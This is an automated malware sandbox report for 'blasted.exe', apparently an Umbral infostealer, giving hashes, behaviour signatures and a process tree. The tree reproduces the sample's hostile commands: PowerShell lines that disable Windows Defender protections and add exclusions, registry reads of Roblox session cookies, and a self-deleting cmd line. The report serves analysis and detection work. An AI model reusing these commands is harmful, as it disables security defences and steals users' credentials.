Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
41s -
max time network
32s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
05/01/2025, 16:09
General
-
Target
blasted.exe
-
Size
229KB
-
MD5
21e6f749bf59138d1528e64a34a88903
-
SHA1
4f2447e8476dad93e39aac775a7bf91c2c8cd4b8
-
SHA256
9952e7c346539dc361b2bda461eebf047ce00a2e3eb2bb3ab6f3fa0c0b5d87d5
-
SHA512
2cad6e33730a69bc31378ae4f502f37f6d8f6d1fd85c17830108ab6b056f1b5994bf8254530194df655e433689c2c22e53fea94c5958f8c1ee55f938a6e5486c
-
SSDEEP
6144:dloZM9rIkd8g+EtXHkv/iD4ZF3A6YXzQAp8aLLyfxmb8e1m6i:/oZmL+EP8ZF3A6YXzQAp8aLLyIo
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2772-1-0x00000270D64E0000-0x00000270D6520000-memory.dmp family_umbral -
Umbral family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2396 powershell.exe 416 powershell.exe 4948 powershell.exe 1440 powershell.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 1 discord.com 5 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 3092 cmd.exe 1124 PING.EXE -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1028 wmic.exe -
Modifies registry class 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix BackgroundTransferHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" BackgroundTransferHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" BackgroundTransferHost.exe Key created \REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\MuiCache BackgroundTransferHost.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1124 PING.EXE -
Suspicious behavior: EnumeratesProcesses 43 IoCs
pid Process 2772 blasted.exe 2396 powershell.exe 2396 powershell.exe 416 powershell.exe 416 powershell.exe 4948 powershell.exe 4948 powershell.exe 1832 powershell.exe 1832 powershell.exe 1440 powershell.exe 1440 powershell.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2772 blasted.exe Token: SeIncreaseQuotaPrivilege 2248 wmic.exe Token: SeSecurityPrivilege 2248 wmic.exe Token: SeTakeOwnershipPrivilege 2248 wmic.exe Token: SeLoadDriverPrivilege 2248 wmic.exe Token: SeSystemProfilePrivilege 2248 wmic.exe Token: SeSystemtimePrivilege 2248 wmic.exe Token: SeProfSingleProcessPrivilege 2248 wmic.exe Token: SeIncBasePriorityPrivilege 2248 wmic.exe Token: SeCreatePagefilePrivilege 2248 wmic.exe Token: SeBackupPrivilege 2248 wmic.exe Token: SeRestorePrivilege 2248 wmic.exe Token: SeShutdownPrivilege 2248 wmic.exe Token: SeDebugPrivilege 2248 wmic.exe Token: SeSystemEnvironmentPrivilege 2248 wmic.exe Token: SeRemoteShutdownPrivilege 2248 wmic.exe Token: SeUndockPrivilege 2248 wmic.exe Token: SeManageVolumePrivilege 2248 wmic.exe Token: 33 2248 wmic.exe Token: 34 2248 wmic.exe Token: 35 2248 wmic.exe Token: 36 2248 wmic.exe Token: SeIncreaseQuotaPrivilege 2248 wmic.exe Token: SeSecurityPrivilege 2248 wmic.exe Token: SeTakeOwnershipPrivilege 2248 wmic.exe Token: SeLoadDriverPrivilege 2248 wmic.exe Token: SeSystemProfilePrivilege 2248 wmic.exe Token: SeSystemtimePrivilege 2248 wmic.exe Token: SeProfSingleProcessPrivilege 2248 wmic.exe Token: SeIncBasePriorityPrivilege 2248 wmic.exe Token: SeCreatePagefilePrivilege 2248 wmic.exe Token: SeBackupPrivilege 2248 wmic.exe Token: SeRestorePrivilege 2248 wmic.exe Token: SeShutdownPrivilege 2248 wmic.exe Token: SeDebugPrivilege 2248 wmic.exe Token: SeSystemEnvironmentPrivilege 2248 wmic.exe Token: SeRemoteShutdownPrivilege 2248 wmic.exe Token: SeUndockPrivilege 2248 wmic.exe Token: SeManageVolumePrivilege 2248 wmic.exe Token: 33 2248 wmic.exe Token: 34 2248 wmic.exe Token: 35 2248 wmic.exe Token: 36 2248 wmic.exe Token: SeDebugPrivilege 2396 powershell.exe Token: SeDebugPrivilege 416 powershell.exe Token: SeDebugPrivilege 4948 powershell.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeIncreaseQuotaPrivilege 1928 wmic.exe Token: SeSecurityPrivilege 1928 wmic.exe Token: SeTakeOwnershipPrivilege 1928 wmic.exe Token: SeLoadDriverPrivilege 1928 wmic.exe Token: SeSystemProfilePrivilege 1928 wmic.exe Token: SeSystemtimePrivilege 1928 wmic.exe Token: SeProfSingleProcessPrivilege 1928 wmic.exe Token: SeIncBasePriorityPrivilege 1928 wmic.exe Token: SeCreatePagefilePrivilege 1928 wmic.exe Token: SeBackupPrivilege 1928 wmic.exe Token: SeRestorePrivilege 1928 wmic.exe Token: SeShutdownPrivilege 1928 wmic.exe Token: SeDebugPrivilege 1928 wmic.exe Token: SeSystemEnvironmentPrivilege 1928 wmic.exe Token: SeRemoteShutdownPrivilege 1928 wmic.exe Token: SeUndockPrivilege 1928 wmic.exe Token: SeManageVolumePrivilege 1928 wmic.exe -
Suspicious use of FindShellTrayWindow 43 IoCs
pid Process 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe -
Suspicious use of SendNotifyMessage 43 IoCs
pid Process 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 2772 wrote to memory of 2248 2772 blasted.exe 77 PID 2772 wrote to memory of 2248 2772 blasted.exe 77 PID 2772 wrote to memory of 3080 2772 blasted.exe 80 PID 2772 wrote to memory of 3080 2772 blasted.exe 80 PID 2772 wrote to memory of 2396 2772 blasted.exe 82 PID 2772 wrote to memory of 2396 2772 blasted.exe 82 PID 2772 wrote to memory of 416 2772 blasted.exe 84 PID 2772 wrote to memory of 416 2772 blasted.exe 84 PID 2772 wrote to memory of 4948 2772 blasted.exe 86 PID 2772 wrote to memory of 4948 2772 blasted.exe 86 PID 2772 wrote to memory of 1832 2772 blasted.exe 88 PID 2772 wrote to memory of 1832 2772 blasted.exe 88 PID 2772 wrote to memory of 1928 2772 blasted.exe 90 PID 2772 wrote to memory of 1928 2772 blasted.exe 90 PID 2772 wrote to memory of 4284 2772 blasted.exe 92 PID 2772 wrote to memory of 4284 2772 blasted.exe 92 PID 2772 wrote to memory of 4660 2772 blasted.exe 94 PID 2772 wrote to memory of 4660 2772 blasted.exe 94 PID 2772 wrote to memory of 1440 2772 blasted.exe 96 PID 2772 wrote to memory of 1440 2772 blasted.exe 96 PID 2772 wrote to memory of 1028 2772 blasted.exe 98 PID 2772 wrote to memory of 1028 2772 blasted.exe 98 PID 2772 wrote to memory of 3092 2772 blasted.exe 100 PID 2772 wrote to memory of 3092 2772 blasted.exe 100 PID 3092 wrote to memory of 1124 3092 cmd.exe 102 PID 3092 wrote to memory of 1124 3092 cmd.exe 102 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3080 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\blasted.exe"C:\Users\Admin\AppData\Local\Temp\blasted.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2248
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\blasted.exe"2⤵
- Views/modifies file attributes
PID:3080
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blasted.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2396
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:416
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4948
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1832
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1928
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:4284
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:4660
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1440
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:1028
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\blasted.exe" && pause2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:3092 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1124
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2808
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.131⤵
- Modifies registry class
PID:1620
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:2168
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
-
Filesize
944B
MD52e8eb51096d6f6781456fef7df731d97
SHA1ec2aaf851a618fb43c3d040a13a71997c25bda43
SHA25696bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864
SHA5120a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2
-
Filesize
948B
MD583bc7bafe464042aba6a1d1d98a1489f
SHA18268233d7442b842b858a1ef0831b5998bd3df40
SHA2569c4ea380965b6239151beaa1d605ff20255b3691968352fc8a3b8b7634a41b1d
SHA512a38d64bbe657adaf9991240d46fda9268a3e1a322366847899bb6347de1d3cd66dabead78792f65dad68253147415f2ad44904eab1589368cf8d2140bdd1dfd0
-
Filesize
1KB
MD57332074ae2b01262736b6fbd9e100dac
SHA122f992165065107cc9417fa4117240d84414a13c
SHA256baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa
SHA5124ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2
-
Filesize
1KB
MD5f6f33ae41ff18891871a3e906d915eb4
SHA1cf6ac704047ea22e450c3fa972d98111e43885bc
SHA2560225284153c04eb74129e1fbd81e498496e4ac83a70e9f40944c72a9012e2c45
SHA512799bf60838820fd51d2247317ea2e7c2dfe08dadcd9659e7d4d0ac0b944c6ef17916aedf99be1e09bf4c608610cd4c58ddedb455af4a5117dfda95ea66540840
-
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\6fb994fb-bd04-4e92-a402-d960c46e516c.down_data
Filesize555KB
MD55683c0028832cae4ef93ca39c8ac5029
SHA1248755e4e1db552e0b6f8651b04ca6d1b31a86fb
SHA256855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e
SHA512aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82